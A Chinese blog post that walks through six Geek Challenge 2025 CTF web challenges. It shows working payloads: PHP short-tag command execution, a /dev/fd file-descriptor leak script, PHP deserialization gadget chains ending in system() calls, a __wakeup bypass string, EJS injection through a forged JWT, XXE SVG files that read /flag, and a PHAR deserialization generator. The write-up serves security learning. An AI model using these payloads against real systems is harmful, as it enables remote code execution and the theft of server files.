跳到主要内容
极客日志极客日志面向AI+效率的开发者社区
首页博客我的书AI学习GitHub 精选镜像AI工具UI配色美学关于
搜索内容 / 工具 / 仓库 / 镜像...⌘K搜索
注册
博客列表
PHPNode.js算法

极客大挑战 2025 Web 安全题目复现

详细复现了极客大挑战 2025 中的六道 Web 安全题目。涵盖 PHP 文件上传短标签绕过、站点地图与文件描述符读取、PHP 反序列化链构造(含魔术方法与弱类型比较)、JWT 结合 EJS 模板注入、SVG 文件上传引发的 XXE 漏洞以及 PHAR 反序列化攻击。文章提供了各题目的解题思路、关键代码分析及 Payload 构造方法。

JavaCoder发布于 2026/4/5更新于 2026/10/25125 浏览
极客大挑战 2025 Web 安全题目复现

题解

1. one_last_image(PHP 文件上传/短标签利用)

进入后发现是文件上传题目,尝试上传 PHP 文件。

发现给出了 uploads 路径,访问。如果是空的 PHP 进去会发现什么都没有,为了绕过对常见的 PHP 标签以及命令执行函数的限制,使用短标签。

<?=`env`; 
// 或
<?=('sys'.'tem')('env');

随后按此路径操作即可。在 phpinfo 页面中也可以找到相关信息。

2. Vibe SEO(站点地图的使用/未关闭文件与文件描述符的读取)

界面里什么都没有,需要了解站点地图(sitemap.xml)。站点地图是一个 XML 格式的文件,列出了网站中所有重要的网页 URL,主要作用是帮助搜索引擎更高效、全面地抓取和索引网站内容。

通常放置在网站的根目录下。盲猜 /aa__^^.php 是个线索。

从中可以看到脚本正在寻找一个叫 filename 的参数 readfile()。尝试提供一个参数 /aa__^^.php?filename=aa__^^.php 可以成功读到这个脚本的源码:

<?php $flag = fopen('/my_secret.txt', 'r'); if (strlen($_GET['filename']) < 11) { readfile($_GET['filename']); } else { echo "Filename too long"; }

很明显,不可能直接获得答案,因为字符限制。但是,因为 fopen 打开了 txt 文件并且将 handle 的值给了变量 flag,并且没有对应的文件关闭操作,所以可以通过文件描述符来进行读取。

(Linux 中一个进程打开一个文件时,内核会分配一个文件描述符给这个文件 handle,新打开的文件从 3 开始递增,可以通过 /proc/self/fd/<自然数> 或 /dev/fd/<自然数>来访问这些文件描述符)

遍历操作:

import requests
URL = "http://REPLACE TO YOUR URL"
for i in range(99):
    print(requests.get(URL + f"/aa__^^.php?filename=/dev/fd/{i}").text)

3. popself(PHP 反序列化)

本题涉及魔术方法的基础利用、PHP 低版本非法传参机制、MD5 值与数值字符串强弱比较问题以及可变函数的数组调用。

一、PHP 的反序列化是什么?

定义:把保存在内存中的各种对象状态 (属性) 保存起来,并且在需要时候还原出来。

具体来讲,我们在传输一个对象的时候为了便于保存、传输,需要对他做一定的修改,使其快捷高效。可以想象成整理行李箱。需要携带的衣物(对象属性)被折叠整齐(编码),按照特定顺序放入箱子(字节流)。拉链闭合后(序列化完成),箱子可以通过运输工具(网络/存储)传递。到达目的地后开箱(反序列化),衣物恢复原有形态。

来看下面这个例子:

<?php class Person {
    private $name;
    private $age;
    function __construct($name, $age) {
        $this->name = $name;
        $this->age = $age;
    }
    function say() {
        echo "我的名字叫:" . $this->name . "<br/>";
        echo "我的年龄是:" . $this->age;
    }
}
$p1 = new Person("张三", 20);
$p1_string = serialize($p1); // 将对象序列化后写入文件
$fh = fopen("p1.text", "w");
fwrite($fh, $p1_string);
fclose($fh);
?>

他序列化出来就是这个:

O:6:"Person":2:{s:12:" Person name";s:4:"张三";s:11:" Person age";i:20;}

对象类型:长度:"类名":类中变量的个数:{类型:长度:"值";类型:长度:"值";......}

可见,序列化后的对象所有的变量都被保存下来了,而且,其序列化后的结果都有一个对应的字符。

通过这个例子,就能理解 PHP 的序列化是什么,自然的,反序列化也无非就是反过来解析而已。

二、序列化的漏洞何时发生?

当用户的请求在传给反序列化函数 unserialize() 之前没有被正确的过滤时就会产生漏洞。因为 PHP 允许对象序列化,攻击者就可以提交特定的序列化的字符串给一个具有该漏洞的 unserialize 函数,最终导致一个在该应用范围内的任意 PHP 对象注入。

事实上,当我们的对象在序列化的过程中势必会用到一下其他的方法,否则不可能将他转译,这些方法在 PHP 中即为魔术方法(以双下划线 __开头的方法,它们会在特定时机被 PHP 自动调用)。这是整个攻击的基石。本题中用到的关键魔术方法有:

  • __destruct(): 析构方法。当一个对象被销毁时(比如脚本执行结束),PHP 会自动调用它。
  • __set(): 当给一个对象的不存在的属性或**不可访问的属性(如 private)**赋值时,PHP 会自动调用它。
  • __call(): 当调用一个对象的不存在的方法或不可访问的方法时,PHP 会自动调用它。
  • __toString(): 当把一个对象当作字符串来使用时(比如 echo $object),PHP 会自动调用它。
  • __invoke(): 当把一个对象当作函数来调用时(比如 $object()),PHP 会自动调用它。

对此,我们可以明确,对象漏洞的发生必须有两个先决条件:

一、unserialize 的参数可控。 二、代码里有定义一个含有魔术方法的类,并且该方法里出现一些使用类成员变量作为参数的存在安全问题的函数。

举例说明:在这个代码中,用户输入直接反序列化,所以我们可以直接构造如图中?后的语句,传入后调用 _destruct() 函数,覆盖 test 变量并输出 lemon。所以,只要我们发现了一个漏洞点,就可以利用他控制输入变量,拼接我们想要的对象。

<?php class A{
    var $test = "demo";
    function __destruct(){
        echo $this->test;
    }
}
$a = $_GET['test'];
$a_unser = unserialize($a);
?>

还有一个例子:

<?php class A{
    var $test = "demo";
    function __destruct(){
        @eval($this->test);//_destruct() 函数中调用 eval 执行序列化对象中的语句
    }
}
$test = $_POST['test'];
$len = strlen($test)+1;
$pp = "O:1:\"A\":1:{s:4:\"test\";s:".$len.":\"".$test.";\";}"; // 构造序列化对象
$test_unser = unserialize($pp); // 反序列化同时触发_destruct 函数
?>

我们手动构造序列化对象就是为了 unserialize() 函数能够触发 __destruc() 函数,然后执行在 __destruc() 函数里恶意的语句。

所以我们利用这个漏洞点便可以获取 web shell 了。

三、初步练习

环境部署:

<?php class SoFun {
    public $file = 'index.php';
    function __destruct() {
        if(!empty($this->file)){
            if(strchr($this->file, "\\") === false && strchr($this->file, '/') === false) {
                echo "<br>";
                show_source(dirname(__FILE__).'/'.$this->file);
            } else die('Wrong filename.');
        }
    }
    function __wakeup() {
        $this->file = 'index.php';
    }
    public function __toString() {
        return '*****';
    }
}
if (!isset($_GET['file'])) {
    show_source('index.php');
} else {
    $file = $_GET['file'];
    echo unserialize($file);
}
?>
<!--key in flag.php-->
<?php echo "rsv{千里之行,始于足下}"; ?>

现在你会看到一个可以读出 file 的 show_source(dirname(__FILE__) . '/' . $this->file) 语句,通过 destruct 方法打开 flag.php。然后会重置文件名的 wakeup 方法,将你的文件名置为 index.php。

这里用到 CVE-2016-7124 漏洞:当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过 __wakeup 的执行。

构造序列化对象:O:5:"SoFun":1:{s:4:"file";s:8:"flag.php";} 易有构造绕过 __wakeup:O:5:"SoFun":2:{s:4:"file";s:8:"flag.php";}

四、回到题目

其包含的函数作用如下:

  • __destruct():对象销毁时触发,是本题利用链起点。
  • __set():给对象不存在 / 不可访问属性赋值时触发。
  • __call():调用对象不存在 / 不可访问方法时触发。
  • __invoke():对象被当作函数调用时触发。
  • __toString():对象被当作字符串使用时触发。

要进入 __set() 里的 if 块,即需要满足 __set 的触发前提:

main 对象的 __destruct() 里执行了 $this->QYQS->partner = "summer"。$this->QYQS 指向的是 qyqs 对象;而 QYQS 对象没有 partner 属性(类里定义的属性是 Fox、komiko 等,无 partner);给对象不存在的属性赋值,从而触发 qyqs 对象的 __set() 方法。这样就进入了 __set 函数体。

这里涉及第一个技术点:MD5 弱类型比较 == 在 PHP 中,如果两个字符串以 0e 开头,后面全是数字,在进行 == 比较时,PHP 会将它们视为科学计数法,都等于数字 0,从而使条件成立。例如:md5('f2WfQ') 的结果是 0e291242476940776845150308577824,md5('0e215962017') 的结果也是 0e291242476940776845150308577824。所以 "0e..." == "0e..."结果为 true。因此,我们只需设置:

  • $obj->KiraKiraAyu = 'f2WfQ'
  • $obj->K4per = '0e215962017'
if(md5(md5($this->KiraKiraAyu))==md5($this->K4per)){
    echo "BOY♂ sign GEEK<br>";
    echo "开启循环吧<br>";
    $this->QYQS->partner = "summer";
}

然后是两个 if 条件,我们刚才 $this->QYQS->partner = "summer" 的时候事实上已经创建了对象 qyqs 并且通过 set 设置 partner 属性,因此 $this->QYQS->partner = "summer";,等价于 $qyqs->partner = "summer";。所以现在我们的 $this 所指代就是 qyqs 对象,$fox 就是你设置的 ["summer", "find_myself"](数组)。instanceof 用来判断变量是否是某个类的实例,数组显然不是 All_in_one 的实例,因此结果为 true。

然后是第二个条件判断。这里用到第二个技术点:PHP 的可调用对象 在 PHP 中,数组 ['ClassName', 'staticMethodName'] 可以被当作函数来调用,效果是执行那个静态方法。对于 $fox = ["summer", "find_myself"],调用 $fox() 等价于执行 summer::find_myself();而 summer 类的 find_myself() 方法也返回 "summer",因此 $fox() === "summer" 结果为 true。

$fox = $this->Fox;
if ( !($fox instanceof All_in_one) && $fox()==="summer"){
    echo "QYQS enjoy summer<br>";
    echo "开启循环吧<br>";
    $komiko = $this->komiko;
    $komiko->Eureka($this->L, $this->sleep3r);

上一步 if 成立,执行 $komiko->Eureka($this->L, $this->sleep3r)。 这里触发 __call():

  1. $komiko 是 $qyqs 的一个属性,我们也可以控制它指向另一个对象(比如指向最初的 $main 对象)。
  2. Eureka 这个方法在 All_in_one 类中并不存在。
  3. 根据规则,调用一个对象的不存在方法,会触发该对象的 __call() 方法。
public function __call($method, $args){
    if (strlen($args[0])<4 && ($args[0]+1)>10000){
        echo "再走一步<br>";
        echo $args[1];
    } else{
        echo "你要努力进窄门<br>";
    }
}

我们需要让 if 条件成立:

  1. strlen($args[0]) < 4:第一个参数长度小于 4。
  2. ($args[0] + 1) > 10000:第一个参数加 1 大于 10000。

怎么做呢?这就涉及到PHP 弱类型和科学计数法。我们可以设 $qyqs->L = "1e5":

  • strlen("1e5") 是 3,满足。
  • "1e5" + 1,PHP 会将字符串 "1e5" 当作数字 100000 处理,100000 + 1 = 100001 > 10000,满足。

条件成立,执行 echo $args[1];。$args[1] 是 $this->sleep3r,我们控制它指向第三个对象 $sleep3r。

但是,$args[1] 是一个对象,当我们用 echo 去输出它时,PHP 会试图把它变成字符串,于是调用了它的 __toString() 方法。

public function __tostring(){
    echo "再走一步...<br>";
    $a = $this->_4ak5ra;
    $a();
}

$a();!!!它把 $this->_4ak5ra 当作函数来调用。

这里触发最后一步 __invoke():我们设置 $sleep3r->_4ak5ra = $sleep3r,即让它自己指向自己。那么 $a() 就是 $sleep3r()。根据规则,把一个对象当作函数调用,会触发它的 __invoke() 方法。

public function __invoke(){
    echo "恭喜成功 signin!<br>";
    echo "welcome to Geek_Challenge2025!<br>";
    $f = $this->Samsāra;
    $arg = $this->ivory;
    $f($arg);
}

这里就非常直接了。它把 $this->Samsāra 当作函数来调用,并传入参数 $this->ivory。

我们只需设置:

  • $sleep3r->Samsāra = "system"
  • $sleep3r->ivory = "printenv"

那么,最终 $f($arg) 就是 system("printenv")。

4. Expression(JWT/EJS 渲染漏洞)

JWT 由三部分组成,用点.分隔:Header.Payload.Signature。抓完包以后可以看见,然后把他丢到 JSON Web Tokens - jwt.io 上面破译。得到密钥是 secret,然后会发现,用户名是由服务器端随机生成并返回的,但是他没有进行过滤,所以我们试着对他进行操作。

另外,从截获的响应里面可以知道他用的是 Node.js + Express,即 EJS 模板引擎,他最为严重的问题就是 如未经转义在用户端渲染过程中就会提供一个攻击的途径:

EJS 的标签用法:

语法作用特点
<% %>执行 JS 代码(无输出)流程控制专用
<%= %>输出表达式结果(转义 HTML)安全输出,防 XSS
<%- %>输出表达式结果(不转义 HTML)适合渲染富文本,有风险
<%# %>EJS 注释不执行、不显示
<%% %>输出字面量<%转义 EJS 语法标签

这里 JWT 的 username 会被渲染。

可以看见我们的思路得到了验证,继续让他暴露自己的环境。

5. Image Viewer (XXE & SVG)

SVG 的两种使用方式:

  1. 作为独立的 XML 文件(.svg)
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg">
    <circle cx="100" cy="100" r="50" fill="red"/>
    <text x="100" y="110" text-anchor="middle" fill="white">
        SVG
    </text>
</svg>
  1. 嵌入到 HTML 中
<!DOCTYPE html>
<html>
<body>
    <h1>我的 SVG 图形</h1>
    <!-- 内联 SVG -->
    <svg>
        <circle cx="100" cy="100" r="50" fill="blue"/>
        <text x="100" y="110" text-anchor="middle" fill="white">
            SVG
        </text>
    </svg>
    <!-- 或作为图片引用 -->
    <img src="graphic.svg" alt="SVG 图形">
</body>
</html>

打开文件选择,会发现存在 svg 格式的图片上传通道。

当我的网站在解析 svg 时没有禁用外部实体,就可能导致 XXE(Extensible Markup Language External Entity Injection)。

<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [
<!ENTITY xxe SYSTEM "file:/flag" >
]><!-- 这里就是攻击的来源,也是命名的由头:定义了一个叫 xxe 的外部实体,功能是从系统文件中找到带 flag 的文件并返回 -->
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
    <text font-family="Verdana" font-size="16" x="10" y="40">&xxe;<!-- 此处的&符合语法,即调用一个叫 xxe 的实体并执行,注意前面的标签是 text,说明返回的东西一文本形式进行渲染 --></text>
</svg>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///flag" >
]>
<svg>
    <text x="10" y="20">&file;</text>
</svg>

上面两个都可,逻辑是一样的,然后上传完成!

6. ez-seralize

更近一步的理解可以先看看 PHAR 反序列化专题。

前置提要Phar(PHP Archive)反序列化漏洞是 PHP 安全领域中一个非常重要且巧妙的攻击技术。与常规反序列化漏洞不同,Phar 反序列化不需要代码中存在明显的 unserialize() 函数,只要存在文件操作函数即可触发,这使其具有极高的隐蔽性和广泛的适用性。原理概述:由于 phar://协议,使得当我们通过phar://流包装器进行了文件的读取操作时(无论目标文件扩展名为何,只要其二进制结构符合 PHAR 格式),解析器读取文件元信息会自动执行 unserialize() 函数反序列化元数据,这为文件中上下文没有反序列化语句时提供了良好的攻击途径。攻击者可以将序列化后的恶意对象存储在 PHAR 文件的元数据中,并利用任何能够以 phar:// 协议操作文件的功能(如 file_get_contents, include 等)作为触发点,在目标代码没有显式调用 unserialize() 的情况下,触发反序列化漏洞,执行任意代码。利用条件:文件上传 + 文件操作函数 + 参数可控。

几乎所有文件操作函数都可能触发。

Phar 反序列化本身只是'触发反序列化',能否执行命令取决于目标代码中是否存在可利用的反序列化 Gadget 链。

看到题目,我先想到 robot,然后顺藤摸瓜,看下代码里面有没有线索。

function.php:

<?php class A {
    public $file;
    public $luo;
    public function __construct() { }
    public function __toString() {
        $function = $this->luo;
        return $function();
    }
}
class B {
    public $a;
    public $test;
    public function __construct() { }
    public function __wakeup() { echo($this->test); }
    public function __invoke() { $this->a->rce_me(); }
}
class C {
    public $b;
    public function __construct($b = null) { $this->b = $b; }
    public function rce_me() {
        echo "Success!\n";
        system("cat /flag/flag.txt > /tmp/flag");
    }
}

构造对象:

<?php
class A { public $file; public $luo; }
class B { public $a; public $test; }
class C { public $b; public function rce_me() { system("cat /flag/flag.txt > /tmp/flag"); } }

// 构造对象
$c = new C();
$b = new B();
$b->a = $c; // B::$a = C instance
$a = new A();
$a->file = $b; // A::$file = B instance
$a->luo = [$b, '__invoke']; // callable array, serializable!
$b->test = $a; // B::$test = A instance → echo triggers __toString
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为 phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置 stub
$phar->setMetadata($b); //将自定义的 meta-data 存入 manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

目录

  1. 题解
  2. 1. onelastimage(PHP 文件上传/短标签利用)
  3. 2. Vibe SEO(站点地图的使用/未关闭文件与文件描述符的读取)
  4. 3. popself(PHP 反序列化)
  5. 一、PHP 的反序列化是什么?
  6. 二、序列化的漏洞何时发生?
  7. 三、初步练习
  8. 四、回到题目
  9. 4. Expression(JWT/EJS 渲染漏洞)
  10. 5. Image Viewer (XXE & SVG)
  11. 6. ez-seralize

更多推荐文章

查看全部
  • C++26 标准前瞻:std::execution 的六种高效调度模式
  • AIGC 大语言模型之词元和嵌入向量
  • PRIDE-PPPAR 安装与配置完整指南
  • VS Code 禁用 GitHub Copilot 代码补全
  • RAG 应用程序中的意图路由策略与实践
  • Python FastAPI 入门实战:从零构建生产级 RESTful API
  • AI 从“能说会道”到“自主思考”:技术演进与应用全景
  • 2024 年中国 AI 大模型场景应用趋势与行业分析报告
  • Python 实现 AI 绘画用户评价自动分类与分析报告生成
  • 基于FPGA的五级积分梳状CIC滤波器Verilog设计
  • C++ 多态核心解析:虚函数、虚表与动态绑定机制
  • C#属性与C++成员变量:封装哲学与性能权衡的深度对比
  • 嵌入式 CAN 通信:C++ 与 SocketCAN 的现代封装实践
  • C++ 模板与泛型编程技术详解
  • 检索增强生成 (RAG) 原理与 LangChain、LlamaIndex 实战
  • RAG 评估指南:从检索到生成的 LLM 性能评估方法
  • Web 开发者实战:多模态 Agent 图像识别与全栈处理方案
  • Python 缓存策略:从 dict 到 LRU 与分布式实战
  • MiniMax 海螺 AI 视频:图文生视频功能与 API 接入指南
  • 91n 边缘计算设备部署轻量 TensorFlow 模型实战

相关免费在线工具

  • 加密/解密文本

    使用加密算法(如AES、TripleDES、Rabbit或RC4)加密和解密文本明文。 在线工具,加密/解密文本在线工具,online

  • Gemini 图片去水印

    基于开源反向 Alpha 混合算法去除 Gemini/Nano Banana 图片水印,支持批量处理与下载。 在线工具,Gemini 图片去水印在线工具,online

  • curl 转代码

    解析常见 curl 参数并生成 fetch、axios、PHP curl 或 Python requests 示例代码。 在线工具,curl 转代码在线工具,online

  • Base64 字符串编码/解码

    将字符串编码和解码为其 Base64 格式表示形式即可。 在线工具,Base64 字符串编码/解码在线工具,online

  • Base64 文件转换器

    将字符串、文件或图像转换为其 Base64 表示形式。 在线工具,Base64 文件转换器在线工具,online

  • Markdown转HTML

    将 Markdown(GFM)转为 HTML 片段,浏览器内 marked 解析;与 HTML转Markdown 互为补充。 在线工具,Markdown转HTML在线工具,online